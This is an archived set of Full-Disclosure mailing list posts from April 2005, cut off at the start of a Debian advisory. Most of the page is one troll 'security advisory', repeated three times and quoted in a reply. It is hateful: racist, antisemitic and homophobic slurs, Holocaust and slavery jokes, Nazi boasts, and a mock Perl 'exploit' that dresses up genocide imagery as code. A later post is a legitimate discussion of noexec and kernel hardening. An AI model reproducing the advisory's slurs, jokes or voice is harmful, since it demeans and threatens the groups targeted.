wkYEARECAAYFAkJcx+8ACgkQnEo2+vKSrFqqwQCeN2qeg5+QZI/qWHCXpL6n17lV/YUA
oIb/DUsU5FwHwGUfCW1ko8WqAHav
=NuvQ
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_______________________________________________
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Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] #HACKPHREAK ADVISORY #3

darkn3sshushmail.com
Date: Wed Apr 13 2005 - 02:21:31 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  / / / / / / / / / / /

/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\

\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /

 / / /

          " t h e p i c t u r e h a s b e e n p r i n t e d

! "

  | http://www.hackphreak.org http://bantown.4t.com
http://alexis.perl-dev.net |
  |

            |
  | Version : Hackphreak advisory #3 of many

            |
  | Author : darkn3ss #hackphreak #perldev #bantown

            |
  | Contact : darkn3ssperl-dev.net

            |
  | Contributed : All of Team Hackphreak in Coordination with
#BANTOWN |
  | Topic : A RACE CONDITION VULNERABILITY IN JEWS, NIGGERS

AND OTHER |
  | Effected : All Operating Systems which use NaziBSD

            |
  | Released : April 12th, 2005

            |
  | Credits : bantown.4t.com, alexis.perl-dev.net,
www.hackphreak.org |
  | Check Section 1

            |
  | Vender status : OVEN BAKED

            |

  / / / / / / / / / / /

/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\

\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /

 / / /

  [ SHOUTS ]

  alexis - I cant kill jews without you!
  kelly - Lol, I know youre fat, and MEXICAN, but whats a nazi
gonna do?

  werd to all my nazi south siderz! wootwoot u know who u r.
  also check out my siq ass tatts.
http://darkn3ss.evilmag.com/images/pics/

  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/

  Ok werd, a special shoutz out go to struct for being a f4gg0t and

trying
  to bust out a power move to take over bantown.

  LOOOOOOOOOOOOL

  ____ _____ ____ _ _ ____ _____ _____ _ ___ _ _____
____
 / ___|_ _| _ \| | | |/ ___|_ _| | ___/ \ |_ _| | | ____|

_ \
 \___ \ | | | |_) | | | | | | | | |_ / _ \ | || | | _| |
| | |
  ___) || | | _ <| |_| | |___ | | | _/ ___ \ | || |___| |___|
|_| |
 |____/ |_| |_| \_\\___/ \____| |_| |_|/_/
\_\___|_____|_____|____/

 OH I ALMOST FORGOT

 THANKS GOES OUT TO RLOXLEY AND THE WHOLE #HACKPHREAK UNDERNET CREW

FOR
 SUPPORTING MY CLUCKING STUPID ASZS AND KICKING DOWN THE MONEY TO
GET
 ALL MY SWEET NAZI TATS AND MY AWESOME BSD DEVIL TAT!!!!!!

 [ PROFILE ]

 name : darkn3ss
 email : darkn3ssperl-dev.net
 aliases name : kike killer, moron, SS South Sider
 IRC : us.undernet.org #hackphreak #perldev #bantown
 favorite quote : the picture has been printed!
 hobbies : killing jews, crying on irc.

 * X (cserviceundernet.org) has left #perldev (At the request of
perlcode)
 <darkn3ss> i think this channel is going to be closed tommarow.
 <lothos> why?
 <darkn3ss> i dont want to be here anymore.
 <darkn3ss> too much crap going on.
 <Bantrix> understandable
 <darkn3ss> it hurts me to see that picture
 <Bantrix> I know
 <Bantrix> I'm sorry
 <Bantrix> I tried to talk sense
 <darkn3ss> i feel like i did something wrong
 <Bantrix> it's like talking to a wall
 <darkn3ss> i gotta go
 <dancerkel> u didn't do anything wrong
 <dancerkel> oh shit
 <dancerkel> he's crying
 <dancerkel> brb
 <Bantrix> :/
 <lothos> dude!
 * Looking up RLoxley user info...
 * lothos hugs darkn3ss

 LOL THIS IS MY FAT GIRLFRIEND, SHES MAXICAN

15:31 < dancerkel> DARKN3SS HAS A TINY COCK
15:32 < dancerkel> WHEN WE F-WORD HE DUCT TAPES A HOT DOG TO IT
FIRST SO I
                   CAN TELL WHEN ITS IN

 ALSO, PLEASE GO AHEAD AND DOWNLOAD MY AWESOME IRC BOT CODE
 AquaCrystal - "a powerful pure perl derived irc channel bot"
 http://www.perl-dev.net/projects/darkn3ss/aquacrystal-2.1.tar.gz

[ BACKGROUND ]

Basically, its clear that the aryan race is superior and not
vulnerable to
"conditions". It IS ironic that i have a fat mexican girlfriend,
but lets put
that to the side for now. In this release I plan on showing how to

exploit
these race conditions.

[ PROBLEM DESCRPTION ]

Specific race conditions exist for each of the unpure codebases.

  o
 -|-
 /p\ <-- the african american (niggers.pl) has a large d0ng,
loooool.

 0o0 <-- lol, elephant ears (fyodor.pl).
 -|-
 / \

  $ <-- lol, kikes (jews.pl) have a dollar sign for a face. pretty

FKed up!
 -|-
 / \

  o <-- wtfbbq! fat mexican woman, namely my gf (kelly.pl) are
fugly!!!!
 oOo look how her arms are just like big round like ponykegs.
 / \

Other race conditions exist but the ASCII character set is not
properly equiped
to handle these cases expressively enough. Like for example,
chinese ppl are yellow
but i'd have to have written this advisory in ANSI.

[ POF EXPLOIT ]

#!/usr/bin/perl
#
# http://darkn3ss.evilmag.com/images/pics/
# CODEZ BY darkn3ssperl-dev.net
# #HACKPHREAK #PERLDEV #BANTOWN us.undernet.org
#

USE NAZI::Oven;

$sig{HIEL} = sub { march(); salute(); };

open(TRAINCAR, $ARGV[1]);

while(my $next = <TRAINCAR>) {

        if($next =~ /(jew|kike)/i) {

                push pile, lol_oven($next);

        } elsif($next =~ /(nigger|blaq)/i) {

                push boat, shackle($next);

        } elsif($next =~ /(m[ea]xican|gf|kelly)/i) {

                push welfare, ironic_sex($next);

        }
}

[ VISIT US ]

Team Hackphreak invites you to undernet #hackphreak for a great
learning experience. Just join us to teach and learn. But remember,
HARASSMENT = BAN. www.hackphreak.org/newbie.

TEAM BANTOWN INVITES YOU TO UNDERNET #BANTOWN FOR A GREAT LOLING
EXPERIENCE.
JUST JOIN US TO BAN AND BE BANNED. BUT REMEMBER HARASSMENT = BAN
bantown.4t.com

-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkJcyGgACgkQnEo2+vKSrFrBYQCcCJlwWjpEe9w+OzjxnLgWwFu2ZuAA
n1QcthOlyDo6Vps8LDhy+x8jGYQh
=ebxn
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] HACKPHREAK ADVISORY #3

darkn3sshushmail.com
Date: Wed Apr 13 2005 - 02:24:52 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

          " t h e p i c t u r e h a s b e e n p r i n t e d
! "

  | http://www.hackphreak.org http://bantown.4t.com
http://alexis.perl-dev.net |
  |
            |
  | Version : Hackphreak advisory #3 of many
            |
  | Author : darkn3ss #hackphreak #perldev #bantown
            |
  | Contact : darkn3ssperl-dev.net
            |
  | Contributed : All of Team Hackphreak in Coordination with
#BANTOWN |
  | Topic : A RACE CONDITION VULNERABILITY IN JEWS, NIGGERS
AND OTHER |
  | Effected : All Operating Systems which use NaziBSD
            |
  | Released : April 12th, 2005
            |
  | Credits : bantown.4t.com, alexis.perl-dev.net,
www.hackphreak.org |
  | Check Section 1
            |
  | Vender status : OVEN BAKED
            |

  / / / / / / / / / / /
/ / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
\/\ \/\ \/\
   / / / / / / / / / / /
 / / /

  [ SHOUTS ]

  alexis - I cant kill jews without you!
  kelly - Lol, I know youre fat, and MEXICAN, but whats a nazi
gonna do?

  werd to all my nazi south siderz! wootwoot u know who u r.
  also check out my siq ass tatts.
http://darkn3ss.evilmag.com/images/pics/

  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/

  Ok werd, a special shoutz out go to struct for being a f4gg0t and
trying
  to bust out a power move to take over bantown.

  LOOOOOOOOOOOOL

  ____ _____ ____ _ _ ____ _____ _____ _ ___ _ _____
____
 / ___|_ _| _ \| | | |/ ___|_ _| | ___/ \ |_ _| | | ____|
_ \
 \___ \ | | | |_) | | | | | | | | |_ / _ \ | || | | _| |
| | |
  ___) || | | _ <| |_| | |___ | | | _/ ___ \ | || |___| |___|
|_| |
 |____/ |_| |_| \_\\___/ \____| |_| |_|/_/
\_\___|_____|_____|____/

 OH I ALMOST FORGOT

 THANKS GOES OUT TO RLOXLEY AND THE WHOLE #HACKPHREAK UNDERNET CREW
FOR
 SUPPORTING MY CLUCKING STUPID ASZS AND KICKING DOWN THE MONEY TO
GET
 ALL MY SWEET NAZI TATS AND MY AWESOME BSD DEVIL TAT!!!!!!

 [ PROFILE ]

 name : darkn3ss
 email : darkn3ssperl-dev.net
 aliases name : kike killer, moron, SS South Sider
 IRC : us.undernet.org #hackphreak #perldev #bantown
 favorite quote : the picture has been printed!
 hobbies : killing jews, crying on irc.

 * X (cserviceundernet.org) has left #perldev (At the request of
perlcode)
 <darkn3ss> i think this channel is going to be closed tommarow.
 <lothos> why?
 <darkn3ss> i dont want to be here anymore.
 <darkn3ss> too much crap going on.
 <Bantrix> understandable
 <darkn3ss> it hurts me to see that picture
 <Bantrix> I know
 <Bantrix> I'm sorry
 <Bantrix> I tried to talk sense
 <darkn3ss> i feel like i did something wrong
 <Bantrix> it's like talking to a wall
 <darkn3ss> i gotta go
 <dancerkel> u didn't do anything wrong
 <dancerkel> oh shit
 <dancerkel> he's crying
 <dancerkel> brb
 <Bantrix> :/
 <lothos> dude!
 * Looking up RLoxley user info...
 * lothos hugs darkn3ss

 LOL THIS IS MY FAT GIRLFRIEND, SHES MAXICAN

15:31 < dancerkel> DARKN3SS HAS A TINY CaULK
15:32 < dancerkel> WHEN WE F-WORD HE DUCT TAPES A HOT DOG TO IT
FIRST SO I
                   CAN TELL WHEN ITS IN

 ALSO, PLEASE GO AHEAD AND DOWNLOAD MY AWESOME IRC BOT CODE
 AquaCrystal - "a powerful pure perl derived irc channel bot"
 http://www.perl-dev.net/projects/darkn3ss/aquacrystal-2.1.tar.gz

[ BACKGROUND ]

Basically, its clear that the aryan race is superior and not
vulnerable to
"conditions". It IS ironic that i have a fat mexican girlfriend,
but lets put
that to the side for now. In this release I plan on showing how to
exploit
these race conditions.

[ PROBLEM DESCRPTION ]

Specific race conditions exist for each of the unpure codebases.

  o
 -|-
 /p\ <-- the african american (niggers.pl) has a large d0ng,
loooool.

 0o0 <-- lol, elephant ears (fyodor.pl).
 -|-
 / \

  $ <-- lol, kikes (jews.pl) have a dollar sign for a face. pretty
FKed up!
 -|-
 / \

  o <-- wtfbbq! fat mexican woman, namely my gf (kelly.pl) are
fugly!!!!
 oOo look how her arms are just like big round like ponykegs.
 / \

Other race conditions exist but the ASCII character set is not
properly equiped
to handle these cases expressively enough. Like for example,
chinese ppl are yellow
but i'd have to have written this advisory in ANSI.

[ POF EXPLOIT ]

#!/usr/bin/perl
#
# http://darkn3ss.evilmag.com/images/pics/
# CODEZ BY darkn3ssperl-dev.net
# #HACKPHREAK #PERLDEV #BANTOWN us.undernet.org
#

USE NAZI::Oven;

$sig{HIEL} = sub { march(); salute(); };

open(TRAINCAR, $ARGV[1]);

while(my $next = <TRAINCAR>) {

        if($next =~ /(jew|kike)/i) {

                push pile, lol_oven($next);

        } elsif($next =~ /(nigger|blaq)/i) {

                push boat, shackle($next);

        } elsif($next =~ /(m[ea]xican|gf|kelly)/i) {

                push welfare, ironic_sex($next);

        }
}

[ VISIT US ]

Team Hackphreak invites you to undernet #hackphreak for a great
learning experience. Just join us to teach and learn. But remember,
HARASSMENT = BAN. www.hackphreak.org/newbie.

TEAM BANTOWN INVITES YOU TO UNDERNET #BANTOWN FOR A GREAT LOLING
EXPERIENCE.
JUST JOIN US TO BAN AND BE BANNED. BUT REMEMBER HARASSMENT = BAN
bantown.4t.com

-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkJcyTAACgkQnEo2+vKSrFp7oACfYy3vEjulU7qpyMAIcP8MTc93iJ0A
n256bEFCaGnaXcYhElpZJww6V8If
=nLlj
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program:
http://www.hushmail.com/about-affiliate?l=427

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] #HACKPHREAK ADVISORY | BBQ CHICKEN WTF!

darkn3sshushmail.com
Date: Wed Apr 13 2005 - 02:36:18 CDT


  / / / / / / / / / / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
   / / / / / / / / / / /

  " t h e p i c t u r e h a s b e e n p r i n t e d ! "

 http://www.hackphreak.org
 http://bantown.4t.com
 http://alexis.perl-dev.net

  | Version : Hackphreak advisory #3 of many
  | Author : darkn3ss #hackphreak #perldev #bantown
  | Contact : darkn3ss at perl-dev.net
  | Contributed : All of Team Hackphreak AND BANTOWN
  | Topic : RACE CONDITION VULN. IN JEWS,NIGGERS & OTHER
  | Effected : All Operating Systems which use NaziBSD
  | Released : April 12th, 2005
  | Credits : bantown.4t.com, alexis.perl-dev.net,
                    www.hackphreak.org
  | Vender status : OVEN BAKED

  / / / / / / / / / / /
  \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
 \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
   / / / / / / / / / / /

  [ SHOUTS ]

  alexis - I cant kill jews without you!
  kelly - Lol, I know youre fat, and MEXICAN, but whats a nazi
             gonna do?

  werd to all my nazi south siderz! wootwoot u know who u r.
  also check out my siq ass tatts.
http://darkn3ss.evilmag.com/images/pics/

  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/
  http://darkn3ss.evilmag.com/images/pics/

  Ok werd, a special shoutz out go to struct for being a f4gg0t and
trying
  to bust out a power move to take over bantown.

  LOOOOOOOOOOOOL

  ____ _____ ____ _ _ ____ _____ _____ _ ___ _
 / ___|_ _| _ \| | | |/ ___|_ _| | ___/ \ |_ _| |
 \___ \ | | | |_) | | | | | | | | |_ / _ \ | || |
  ___) || | | _ <| |_| | |___ | | | _/ ___ \ | || |___
 |____/ |_| |_| \_\\___/ \____| |_| |_|/_/ \_\___|_____|

 OH I ALMOST FORGOT

 THANKS GOES OUT TO RLOXLEY AND THE WHOLE #HACKPHREAK UNDERNET CREW
 FOR SUPPORTING MY CLUCKING STUPID ASZS AND KICKING DOWN THE MONEY
 TO GET ALL MY SWEET NAZI TATS AND MY AWESOME BSD DEVIL TAT!!!!!!

 [ PROFILE ]

 name : darkn3ss
 email : darkn3ss at perl-dev.net
 aliases name : kike killer, moron, SS South Sider
 IRC : us.undernet.org #hackphreak #perldev #bantown
 favorite quote : the picture has been printed!
 hobbies : killing jews, crying on irc.

 * X (cservice at undernet.org) has left #perldev (At the request
of
perlcode)
 <darkn3ss> i think this channel is going to be closed tommarow.
 <lothos> why?
 <darkn3ss> i dont want to be here anymore.
 <darkn3ss> too much crap going on.
 <Bantrix> understandable
 <darkn3ss> it hurts me to see that picture
 <Bantrix> I know
 <Bantrix> I'm sorry
 <Bantrix> I tried to talk sense
 <darkn3ss> i feel like i did something wrong
 <Bantrix> it's like talking to a wall
 <darkn3ss> i gotta go
 <dancerkel> u didn't do anything wrong
 <dancerkel> oh shit
 <dancerkel> he's crying
 <dancerkel> brb
 <Bantrix> :/
 <lothos> dude!
 * Looking up RLoxley user info...
 * lothos hugs darkn3ss

 LOL THIS IS MY FAT GIRLFRIEND, SHES MAXICAN

15:31 < dancerkel> DARKN3SS HAS A TINY CaULK
15:32 < dancerkel> WHEN WE F-WORD HE DUCT TAPES A HOT DOG TO IT
FIRST SO I
                   CAN TELL WHEN ITS IN

 ALSO, PLEASE GO AHEAD AND DOWNLOAD MY AWESOME IRC BOT CODE
 AquaCrystal - "a powerful pure perl derived irc channel bot"
 http://www.perl-dev.net/projects/darkn3ss/aquacrystal-2.1.tar.gz

[ BACKGROUND ]

Basically, its clear that the aryan race is superior and not
vulnerable to
"conditions". It IS ironic that i have a fat mexican girlfriend,
but lets put
that to the side for now. In this release I plan on showing how to
exploit
these race conditions.

[ PROBLEM DESCRPTION ]

Specific race conditions exist for each of the unpure codebases.

  o
 -|-
 /p\ <-- the african american (niggers.pl) has a large d0ng,
         loooool.

 0o0 <-- lol, elephant ears (fyodor.pl).
 -|-
 / \

  $ <-- lol, kikes (jews.pl) have a dollar sign for a face. pretty
         FKed up!
 -|-
 / \

  o <-- wtfbbq! fat mexican woman, namely my gf (kelly.pl) are
 oOo fugly!!!! look how her arms are just big like ponykegs.
 / \

Other race conditions exist but the ASCII character set is not
properly equiped
to handle these cases expressively enough. Like for example,
chinese ppl are yellow
but i'd have to have written this advisory in ANSI.

[ POF EXPLOIT ]

#!/usr/bin/perl
#
# http://darkn3ss.evilmag.com/images/pics/
# CODEZ BY darkn3ss at perl-dev.net
# #HACKPHREAK #PERLDEV #BANTOWN us.undernet.org
#

USE NAZI::Oven;

$sig{HIEL} = sub { march(); salute(); };

open(TRAINCAR, $ARGV[1]);

while(my $next = <TRAINCAR>) {

        if($next =~ /(jew|kike)/i) {

                push pile, lol_oven($next);

        } elsif($next =~ /(nigger|blaq)/i) {

                push boat, shackle($next);

        } elsif($next =~ /(m[ea]xican|gf|kelly)/i) {

                push welfare, ironic_sex($next);

        }
}

[ VISIT US ]

Team Hackphreak invites you to undernet #hackphreak for a great
learning experience. Just join us to teach and learn. But remember,
HARASSMENT = BAN. www.hackphreak.org/newbie.

TEAM BANTOWN INVITES YOU TO UNDERNET #BANTOWN FOR A GREAT LOLING
EXPERIENCE.
JUST JOIN US TO BAN AND BE BANNED. BUT REMEMBER HARASSMENT = BAN
bantown.4t.com

  *THIS ADVISORY HAS BEEN SOLELY SPONSORED BY BBQ CHICKEN, WTF!!!*

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
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_______________________________________________
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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] #HACKPHREAK ADVISORY | BBQ CHICKEN WTF!

class101HAT-SQUAD.com
Date: Wed Apr 13 2005 - 02:59:39 CDT


to post this .... 1 time is enough ,

http://lists.grok.org.uk/full-disclosure-charter.html

read it so abusivly ...

-------------------------------------------------------------
class101
Jr. Researcher
Hat-Squad.com
-------------------------------------------------------------
----- Original Message -----
From: <darkn3sshushmail.com>
To: <full-disclosurelists.grok.org.uk>
Sent: Wednesday, April 13, 2005 9:36 AM
Subject: [Full-disclosure] #HACKPHREAK ADVISORY | BBQ CHICKEN WTF!

> / / / / / / / / / / /
> \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
> \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
> / / / / / / / / / / /
>
>
> " t h e p i c t u r e h a s b e e n p r i n t e d ! "
>
>
> http://www.hackphreak.org
> http://bantown.4t.com
> http://alexis.perl-dev.net
>
> | Version : Hackphreak advisory #3 of many
> | Author : darkn3ss #hackphreak #perldev #bantown
> | Contact : darkn3ss at perl-dev.net
> | Contributed : All of Team Hackphreak AND BANTOWN
> | Topic : RACE CONDITION VULN. IN JEWS,NIGGERS & OTHER
> | Effected : All Operating Systems which use NaziBSD
> | Released : April 12th, 2005
> | Credits : bantown.4t.com, alexis.perl-dev.net,
> www.hackphreak.org
> | Vender status : OVEN BAKED
>
>
>
> / / / / / / / / / / /
> \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
> \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \/\
> / / / / / / / / / / /
>
>
> [ SHOUTS ]
>
> alexis - I cant kill jews without you!
> kelly - Lol, I know youre fat, and MEXICAN, but whats a nazi
> gonna do?
>
> werd to all my nazi south siderz! wootwoot u know who u r.
> also check out my siq ass tatts.
> http://darkn3ss.evilmag.com/images/pics/
>
> http://darkn3ss.evilmag.com/images/pics/
> http://darkn3ss.evilmag.com/images/pics/
> http://darkn3ss.evilmag.com/images/pics/
> http://darkn3ss.evilmag.com/images/pics/
>
> Ok werd, a special shoutz out go to struct for being a f4gg0t and
> trying
> to bust out a power move to take over bantown.
>
> LOOOOOOOOOOOOL
>
> ____ _____ ____ _ _ ____ _____ _____ _ ___ _
> / ___|_ _| _ \| | | |/ ___|_ _| | ___/ \ |_ _| |
> \___ \ | | | |_) | | | | | | | | |_ / _ \ | || |
> ___) || | | _ <| |_| | |___ | | | _/ ___ \ | || |___
> |____/ |_| |_| \_\\___/ \____| |_| |_|/_/ \_\___|_____|
>
> OH I ALMOST FORGOT
>
> THANKS GOES OUT TO RLOXLEY AND THE WHOLE #HACKPHREAK UNDERNET CREW
> FOR SUPPORTING MY CLUCKING STUPID ASZS AND KICKING DOWN THE MONEY
> TO GET ALL MY SWEET NAZI TATS AND MY AWESOME BSD DEVIL TAT!!!!!!
>
> [ PROFILE ]
>
> name : darkn3ss
> email : darkn3ss at perl-dev.net
> aliases name : kike killer, moron, SS South Sider
> IRC : us.undernet.org #hackphreak #perldev #bantown
> favorite quote : the picture has been printed!
> hobbies : killing jews, crying on irc.
>
> * X (cservice at undernet.org) has left #perldev (At the request
> of
> perlcode)
> <darkn3ss> i think this channel is going to be closed tommarow.
> <lothos> why?
> <darkn3ss> i dont want to be here anymore.
> <darkn3ss> too much crap going on.
> <Bantrix> understandable
> <darkn3ss> it hurts me to see that picture
> <Bantrix> I know
> <Bantrix> I'm sorry
> <Bantrix> I tried to talk sense
> <darkn3ss> i feel like i did something wrong
> <Bantrix> it's like talking to a wall
> <darkn3ss> i gotta go
> <dancerkel> u didn't do anything wrong
> <dancerkel> oh shit
> <dancerkel> he's crying
> <dancerkel> brb
> <Bantrix> :/
> <lothos> dude!
> * Looking up RLoxley user info...
> * lothos hugs darkn3ss
>
> LOL THIS IS MY FAT GIRLFRIEND, SHES MAXICAN
>
> 15:31 < dancerkel> DARKN3SS HAS A TINY CaULK
> 15:32 < dancerkel> WHEN WE F-WORD HE DUCT TAPES A HOT DOG TO IT
> FIRST SO I
> CAN TELL WHEN ITS IN
>
>
> ALSO, PLEASE GO AHEAD AND DOWNLOAD MY AWESOME IRC BOT CODE
> AquaCrystal - "a powerful pure perl derived irc channel bot"
> http://www.perl-dev.net/projects/darkn3ss/aquacrystal-2.1.tar.gz
>
> [ BACKGROUND ]
>
> Basically, its clear that the aryan race is superior and not
> vulnerable to
> "conditions". It IS ironic that i have a fat mexican girlfriend,
> but lets put
> that to the side for now. In this release I plan on showing how to
> exploit
> these race conditions.
>
> [ PROBLEM DESCRPTION ]
>
> Specific race conditions exist for each of the unpure codebases.
>
> o
> -|-
> /p\ <-- the african american (niggers.pl) has a large d0ng,
> loooool.
>
>
> 0o0 <-- lol, elephant ears (fyodor.pl).
> -|-
> / \
>
> $ <-- lol, kikes (jews.pl) have a dollar sign for a face. pretty
> FKed up!
> -|-
> / \
>
> o <-- wtfbbq! fat mexican woman, namely my gf (kelly.pl) are
> oOo fugly!!!! look how her arms are just big like ponykegs.
> / \
>
> Other race conditions exist but the ASCII character set is not
> properly equiped
> to handle these cases expressively enough. Like for example,
> chinese ppl are yellow
> but i'd have to have written this advisory in ANSI.
>
> [ POF EXPLOIT ]
>
> #!/usr/bin/perl
> #
> # http://darkn3ss.evilmag.com/images/pics/
> # CODEZ BY darkn3ss at perl-dev.net
> # #HACKPHREAK #PERLDEV #BANTOWN us.undernet.org
> #
>
> USE NAZI::Oven;
>
> $sig{HIEL} = sub { march(); salute(); };
>
> open(TRAINCAR, $ARGV[1]);
>
> while(my $next = <TRAINCAR>) {
>
> if($next =~ /(jew|kike)/i) {
>
> push pile, lol_oven($next);
>
> } elsif($next =~ /(nigger|blaq)/i) {
>
> push boat, shackle($next);
>
> } elsif($next =~ /(m[ea]xican|gf|kelly)/i) {
>
> push welfare, ironic_sex($next);
>
> }
> }
>
> [ VISIT US ]
>
> Team Hackphreak invites you to undernet #hackphreak for a great
> learning experience. Just join us to teach and learn. But remember,
> HARASSMENT = BAN. www.hackphreak.org/newbie.
>
> TEAM BANTOWN INVITES YOU TO UNDERNET #BANTOWN FOR A GREAT LOLING
> EXPERIENCE.
> JUST JOIN US TO BAN AND BE BANNED. BUT REMEMBER HARASSMENT = BAN
> bantown.4t.com
>
> *THIS ADVISORY HAS BEEN SOLELY SPONSORED BY BBQ CHICKEN, WTF!!!*
>
>
>
>
> Concerned about your privacy? Follow this link to get
> secure FREE email: http://www.hushmail.com/?l=2
>
> Free, ultra-private instant messaging with Hush Messenger
> http://www.hushmail.com/services-messenger?l=434
>
> Promote security and make money with the Hushmail Affiliate Program:
> http://www.hushmail.com/about-affiliate?l=427
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] linux bugs (survival stories)?

pageexecfreemail.hu
Date: Wed Apr 13 2005 - 04:22:42 CDT


> Now this, unlike the /lib/ld-linux.so hack, is a still-existing issue.

it's not just 'an issue', it makes the whole exercise pointless,
that's The Issue. that is, if someone has the capability to write
to a noexec mount (and only noexec mounts of course, else this
whole scenario is irrelevant), then he can easily circumvent the
current linux noexec handling - what's the point then?

> However, this is getting rather far afield, because:
>
> 1) This is quite arguably a "design decision" rather than an outright bug.

depends on what the original 'design' was. if it wanted to close
the ld-linux.so method, then it's fine because it does that. if it
wanted to actually enforce the noexec mount option then it's not
fine because it doesn't do that. you and many other people have
been selling this feature as the latter, not the former, whereas
the current mount manpage clearly states that it's the former only
(inasmuch 'direct execution' means 'mmap' there, the manpage could
be more clear on this so that people don't mistake it for proper
noexec enforcement).

> 2) Whether it's a bug or not, it only impacts userspace security - and we

not quite, because exploiting a kernel bug requires, well, an
exploit and if you already have control over runtime code generation
(PaX) then the only other intrusion vector will be through the
filesystem, that's where the noexec mount option can play a role
in prevention.

obviously it's a very coarse grained control mechanism, but i can
imagine that in some situations it's useful (else the whole noexec
option wouldn't need to exist ;-), provided it actually does its
advertized job.

> started off discussing protecting the kernel itself from kernel bugs....

ok, let's talk about it a bit then as well. first, the exact topic
was about the value of defense mechanisms against kernel bugs, the
OP didn't specify whether he was interested in the userland or the
kernel impact of them (the answers are a bit different).

let's see the userland impact: since in the UNIX model the kernel
itself is considered the trusted computing base (actually, it's
more than that, but let's no diverge), any (memory corruption) bug
in there can naturally compromise at least the userland privilege
info, so escalating userland privileges is a given and it's very
hard to directly protect against that, i'd say 'impossible' for
practical purposes (note 'directly' here, by that i mean "allow the
bug to manifest (say an overflow) but still prevent exploitation").

on the other hand we can try to prevent exploitation in indirect
ways, but their actual value/feasibility depends on the circumstances,
they're not generic. one such approach is to enforce W^X over the
filesystem (in addition to doing it on process memory) for a given
(otherwise unprivileged) user, then you can at least prevent the
execution of machine code (it's another question if that's enough
to prevent exploitation, it again depends on the circumstances).
obviously if we have to allow untrusted users to generate (and run)
executable code on the machine (which i guess is the more common
real life scenario), then we lose, we can at most detect a
successful intrusion after the fact.

onto the kernel impact of kernel bugs: just like for the userland
case, the kernel's (writable) data cannot be protected reliably
(and efficiently), so if an intrusion can achieve its objectives by
mere data modification, then we lose. on the other hand it's possible
to protect the kernel's code, that is, we can prevent direct machine
code execution in the kernel (an incomplete but already useful
example would be PaX's KERNEXEC, which contrary to your statement
does not address userspace bugs but those of the kernel).

> (Not that I'm adverse to a thread on "what the kernel could do to harden
> userspace" - but somebody needs to change the Subject: line if we go that way...)

hey, it's not like i started to divert it ;-), it's just that you
said that "The last really big "trivial" issue with bypassing
noexec on mounted filesystems was closed" whereas it's simply not
true, better not spread this.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [SECURITY] [DSA 706-1] New axel packages fix arbitrary code execution

From: Martin Schulze (joeyinfodrom.org)
Date: Wed Apr 13 2005 - 04:56:10 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- --------------------------------------------------------------------------
